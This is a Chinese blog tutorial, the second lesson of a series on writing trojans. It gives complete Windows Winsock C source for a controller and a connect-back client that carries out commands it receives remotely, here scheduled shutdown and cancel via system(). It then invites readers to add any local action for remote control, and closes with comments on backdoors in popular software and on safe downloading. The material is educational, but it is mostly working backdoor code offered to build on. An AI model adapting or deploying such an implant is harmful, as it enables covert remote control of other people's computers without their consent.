木马,你好!(二)最简单的木马

如果,上一讲你有思考过如何编写一个简单的木马,并且有付诸行动的话,那么这一讲也就是一个应正的章节了。

那么接着上一讲的思路,既然服务端与客户端可以交互,那么也意味着服务端可以向客户端发送命令,客户端接受命令并执行,然后返回执行结果。那么只要事先设置好命令的名称以及客户端的执行操作,那么就能写出一个简单的木马出来了。

服务端代码

服务器端,咱们既然是要写木马的话,那么客户端那边也就不用什么欢迎信息,直接省略。同时原本的外层 while 循环也省略掉了。对于要操控的客户端而言,这里的服务端主要是用来发出指令的,而客户端则按照指令来执行相应的操作。

#include <stdio.h>
#include <string.h>
#include <Winsock2.h>
#pragma comment(lib, "ws2_32.lib")

void main()
{
	int err; // 错误信息
	int len = sizeof(SOCKADDR);

	char  cmdStr[100] = {0};
	char sendBuf[100] = {0}; // 发送至客户端的字符串
	char recvBuf[100] = {0}; // 接受客户端返回的字符串
	char * ip;

	SOCKET sockServer;     // 服务端 Socket
	SOCKADDR_IN addrServer;// 服务端地址
	SOCKET sockClient;     // 客户端 Scoket
	SOCKADDR_IN addrClient;// 客户端地址

	WSADATA wsaData;       // winsock 结构体
	WORD wVersionRequested;// winsock 的版本

	// 配置 Windows Socket版本
	wVersionRequested = MAKEWORD( 2, 2 );

	// 初始化 Windows Socket
	err = WSAStartup( wVersionRequested, &wsaData );

	if ( err != 0 )
	{
		// 启动错误,程序结束
		return;
	}

	if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 )
	{
		// 启动错误,程序结束
		WSACleanup(); // 终止Winsock 2 DLL (Ws2_32.dll) 的使用
		return;
	}

	// 定义服务器端socket
	sockServer = socket(AF_INET, SOCK_STREAM, 0);
	//  设置服务端 socket
	addrServer.sin_addr.S_un.S_addr = htonl(INADDR_ANY); // 本机IP
	addrServer.sin_family = AF_INET;                   // 协议类型是INET
	addrServer.sin_port = htons(6000);                 // 绑定端口6000
	// 将服务器端socket绑定在本地端口
	bind(sockServer, (SOCKADDR *)&addrServer, sizeof(SOCKADDR));
	// Listen 监听端口
	listen(sockServer, 5); // 5 为等待连接数目

	printf("服务器已启动:n监听中...n");

	// 等待客户端连接
	sockClient = accept(sockServer, (SOCKADDR *)&addrClient, &len);
	// 获取ip地址
	ip = inet_ntoa(addrClient.sin_addr);
	// 输出连接提示
	printf("-- IP %s 连接到服务端n", ip);

	while (1)
	{		
		printf("-- %s: %s n>>", ip, recvBuf);
		scanf("%s",cmdStr);
			
		// 根据输入的不同命令来执行不同的操作
		if (strcmp(cmdStr, "exit") == 0)
		{
			send(sockClient, cmdStr, strlen(cmdStr) + 1, 0);
			break; // 如果用户输入 exit 则结束循环
		}
		// 否则将命令发送到客户端
		send(sockClient, cmdStr, strlen(cmdStr) + 1, 0);
		recv(sockClient, recvBuf, 100, 0);
	}

	closesocket(sockClient);
	WSACleanup();
}

客户端代码

作为木马,最主要的作用就是执行服务端发过来的命令,所以聊天的功能已经省略。这里博主也偷下懒,各位自己找台电脑测试,客户端这里要主动去 connect (连接) 服务端,代码中间也可以看得出来时需要填写 服务端 IP 的,如果是在两台电脑或者是虚拟机上测试的时候记得要修正连接的 IP,查看计算机 IP 请使用 CMD 的 ipconfig 命令。

#include <Winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

#define MSG_LEN 1024

void main()
{
	int err = 0;
	char message[MSG_LEN] = {0};
	char recvCmd[100] = {0};

	SOCKET sockClient; // 客户端 Scoket
	SOCKADDR_IN addrServer; // 服务端地址

	WSADATA wsaData;
	WORD wVersionRequested;

	wVersionRequested = MAKEWORD( 2, 2 );

	err = WSAStartup( wVersionRequested, &wsaData );

	if ( err != 0 )
	{
		return;
	}

	if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 )
	{
		// 启动错误,程序结束
		WSACleanup( );
		return;
	}

	// 新建客户端 scoket
	sockClient = socket(AF_INET, SOCK_STREAM, 0);

	// 定义要连接的服务端地址
	addrServer.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");  // 目标IP (127.0.0.1是本机地址)
	addrServer.sin_family = AF_INET;                           // 协议类型是INET
	addrServer.sin_port = htons(6000);                         // 连接端口1234

	// 让 sockClient 连接到 服务端
	connect(sockClient, (SOCKADDR *)&addrServer, sizeof(SOCKADDR));

	while(1)
	{
		// 清空字符串
		ZeroMemory(recvCmd, sizeof(recvCmd));
		ZeroMemory(message, sizeof(message));
		// 从服务端获取数据
		recv(sockClient, recvCmd, MSG_LEN, 0);
		// 打印数据
		printf("-- 收到命令: [%s]n", recvCmd);

		if (strcmp(recvCmd, "test") == 0)
		{
			strcpy(message, "服务端你好,有什么事吗~");
		}
		else if (strcmp(recvCmd, "shutdown") == 0)
		{
			// 执行关机命令,设了个定时关机没直接关
			system("shutdown -s -t 1800");
			strcpy(message, "客户端将在 30 分钟后关闭");
		}
		else if (strcmp(recvCmd, "cancel") == 0)
		{
			// 注销关机命令
			system("shutdown -a");
			strcpy(message, "客户端定时关机已取消");
		}
		else if (strcmp(recvCmd, "exit") == 0)
		{
			break;
		}

		if (strlen(recvCmd) > 0)
		{
			// 发送数据到服务端
			send(sockClient, message, strlen(message) + 1, 0);
		}
	}

	// 关闭socket
	closesocket(sockClient);
	WSACleanup();
}

control_client_shutdown

目前上面的程序还只是简单的调用了一下 cmd 自带的命令,来实现控制客户端的关机操作,各位其实也可以使用 WinAPI 的 ExitWindowsEx 函数来进行关机,貌似这个要专业很多。

嗯,看到这里都没有什么压力的话,就已经可以考虑要添加什么样的其他功能到客户端上来了。基本上能在本机实现的操作,都可以添加到客户端上然后远程指挥客户端。

其他的唠叨

当然,这种程度的效果,大部分有程序都能做到,有可能电脑上运行的 360 QQ 等程序都有做,毕竟要留个后门实在太简单。

前一阵子迅雷就被爆出来了一个后门事件 (《迅雷留后门“耍流氓”千万用户变“肉鸡”》),当然这些程序留的后门可能也有冠冕堂皇的理由,例如更新。前一阵子好压就有背着用户强制安装了某些软件的事情发生,可以说后门这个东西其实是一个业内众人皆知的问题。

关于这类问题,博主的应对方案就是,劲量用轻量级的、开源的软件,尽量用英文版,劲量用国外软件,少用破解版、绿色版、不要在没有信誉的网站上下载软件或游戏来安装。有的人会在破解的程序里面植入自己的木马,而你在毫不知情的情况下使用了这种软件或游戏,指不定就默默的成为了这哥们的肉鸡。

所以,经历过几次之后,博主也算是学乖了,下载东西第一时间都是上官网下载,除非官网上没有下载链接,才会考虑其他渠道来获取。不过还是要强调一下,希望各位支持正版!

(以下文字为博主唠叨,各位看教程的可自行跳过)

做软件和游戏的人都不容易啊!如果每个人都去玩盗版,安全性不说,光是游戏公司蒙受的损失就是一个巨大的数额,严重时甚至会导致你喜欢的游戏开发团队很有可能因此破产。博主童年所喜欢的好多国产经典单机游戏,都是因为这样的原因而淹没在那个盗版光碟飞舞的年代,说真的,这对当时国内刚起来的很多游戏公司打击很大,这也直接导致了现在大部分公司都只做网游的现状。说起来,《傲世三国》到现在还能搜到,至于《三国争霸》等很多博主童年玩过的国产游戏现在连搜都搜不到了。想想真的是痛心疾首。。。(此处省略500字)

文章索引

上一讲:木马,你好!(一)教程简介
下一讲:木马,你好!(三)管道与远程控制介

Advertisements

4 thoughts on “木马,你好!(二)最简单的木马

  1. 那么接着上一讲的思路,既然服务端与客户端可以交互的画,

    不知道是否是 ”交互的话“

发表评论

Fill in your details below or click an icon to log in:

WordPress.com 徽标

You are commenting using your WordPress.com account. Log Out /  更改 )

Google+ photo

You are commenting using your Google+ account. Log Out /  更改 )

Twitter picture

You are commenting using your Twitter account. Log Out /  更改 )

Facebook photo

You are commenting using your Facebook account. Log Out /  更改 )

Connecting to %s